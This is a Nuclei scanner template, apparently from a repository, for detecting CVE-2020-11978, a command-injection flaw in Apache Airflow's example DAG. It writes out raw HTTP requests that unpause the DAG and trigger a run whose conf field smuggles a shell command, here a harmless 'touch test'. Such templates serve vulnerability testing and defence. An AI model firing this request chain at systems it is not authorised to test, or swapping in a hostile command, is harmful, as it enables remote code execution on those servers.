60 lines
2.0 KiB
YAML
60 lines
2.0 KiB
YAML
id: CVE-2020-11978
|
|
info:
|
|
name: Apache Airflow <= 1.10.10 - 'Example Dag' Remote Code Execution
|
|
author: pdteam
|
|
severity: high
|
|
description: An issue was found in Apache Airflow versions 1.10.10 and below. A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
|
|
reference:
|
|
- https://github.com/pberba/CVE-2020-11978
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-11978
|
|
- https://twitter.com/wugeej/status/1400336603604668418
|
|
tags: cve,cve2020,apache,airflow,rce
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.80
|
|
cve-id: CVE-2020-11978
|
|
cwe-id: CWE-77
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /api/experimental/test HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
|
|
- |
|
|
GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
|
|
- |
|
|
POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Content-Type: application/json
|
|
|
|
{"conf": {"message": "\"; touch test #"}}
|
|
|
|
- |
|
|
GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: exec_date
|
|
part: body
|
|
group: 1
|
|
internal: true
|
|
regex:
|
|
- '"execution_date":"([0-9-A-Z:+]+)"'
|
|
|
|
req-condition: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_4, "operator":"BashOperator")'
|
|
- 'contains(all_headers_4, "application/json")'
|
|
condition: and |